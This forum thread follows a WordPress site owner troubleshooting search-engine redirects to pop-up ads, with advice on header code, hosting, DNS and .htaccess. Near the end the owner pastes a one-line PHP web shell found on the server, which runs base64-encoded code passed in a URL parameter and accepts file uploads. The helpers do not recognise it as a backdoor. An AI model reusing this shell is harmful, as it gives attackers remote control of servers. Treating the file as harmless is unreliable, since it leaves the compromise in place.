When I search 99percentreviews in Google and navigate onto it, it sends me to pop ads and back button doesn't help. But when I search again 99percentreviews in Google and navigate onto it, pop ads doesn't appear anymore. This happens in both non-incognito and incognito mode.

Check your header file. From line 18 to 21 is code which you must remove. Or you add it there or your hosting provider added. Here is screenshot. I see also it is near by some SEO pack it's possible you got ads inside pack.

Try so we can check other solutions.

I'm using Wordpress.org Twenty Ten theme. Koddos.net, my hosting and domain provider installed the Wordpress software in my site as I can't do it right. Can't find the lines you're referring to, below is the screenshot. Also, already uninstalled the SEO pack. What's your site diagnosis now? Thanks for the help.

Is it possible that you've got adware on your browser that sends these ads popping out regularly? I just went on your site and clicked a few random pages, there were zero pop ads.

Maybe 1 of the extensions? Thanks for your verification.

I still got ads. Do you have this line of code in header file? Scroll little down, it should be at start of body tag. I have same ads on my site but add it on purpose.

Can't find that particular line of code in the header file. Below is the entire Header code.

Your site has been taken over. If you paste this link into your browser - view-source:http://99percentreviews.com/ - you can see someone has set up a redirect:

It seems that your website does eventually load after a few requests.

Can you show us any addons or themes you may have installed in past or have installed now? Also, it would be helpful if you could give us a list of everything you use for your site (put it in a pastebin).

No more plugins installed. I insert the PropellerAds ad code before in Twenty Nineteen theme but I'm using now Twenty Ten theme. Aside from Wordpress.org widgets, I don't use anything. Don't know how to use Pastebin (sorry).

Sorry I can't help anymore, I can't find anything weird so far. Who is your hosting provider? If you use free hosting they often add ads on sites. Sometimes they don't mentioned it in TOS.

Appreciate your help. Koddos.net is my hosting and domain provider. I'm paying about 5 USD every month.

Did you had similar problems so far? I can't find anything related to hosting with similar problems so it's not probably on their side but still you should try contact support. Maybe they can help.

They said my site doesn't have pop ads. But when I search the keywords in Google and navigate onto it, it directs me to pop-ads. I already tried to change the theme.

Same in DuckDuckGo (my default search engine as I don't trust all that spying Google sh*t).

You and other users here tried almost everything possible to sort your trouble, so I have just add very rare possibilities to solve this situation:

1) Did you verified your DNS entries in webhosting control panel (probably except for mail settings)? Everything else than 99percentreviews.com should be considered as suspicious. Be extremely careful, as setting wrong values can/will render your site unusable. Better consult it with your hosting company.

2) Did you try to browse to your site with javascript disabled? Before that you have to flush browser cache.

Have good luck :Thumbsup:

I almost forgot:

3) Check your .htaccess file for directive/s that could redirect users to another site, mostly ads and phishing ones.

Support ticket submitted to my hosting provider.

Sometimes in other computers, pop ads doesn't appear.

3) Check your .htaccess file for directive/s that could redirect users to another site, mostly ads and phishing ones.
How to do that?

Login to Cpanel, Search for File Manager and in root is .htaccess file. Or using FTP credentials, use FTP client like FileZilla or something similar and access to server and find .htaccess file.

This what appears:
<?php error_reporting(0);$ev=$_GET["ev"];if(isset($ev)&&!empty($ev)){eval(base64_decode($ev));exit;}(@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])); ?>

Thanks @zeljko for clarifying, just note that .htaccess file is a hidden one, so you would need to set FTP client to display ALL files.

Anyway, let us know if something does or doesn't work for you.
My hosting provider told me that there are no pop ads and DNS entries are fine - https://intodns.com/99percentreviews.com

That is not the correct file ;) try searching for ".htaccess", I guess it will be located in "public_html" folder, where are all of your public accessible files placed.

The DNS entries are OK, I didn't found any suspicious entry.
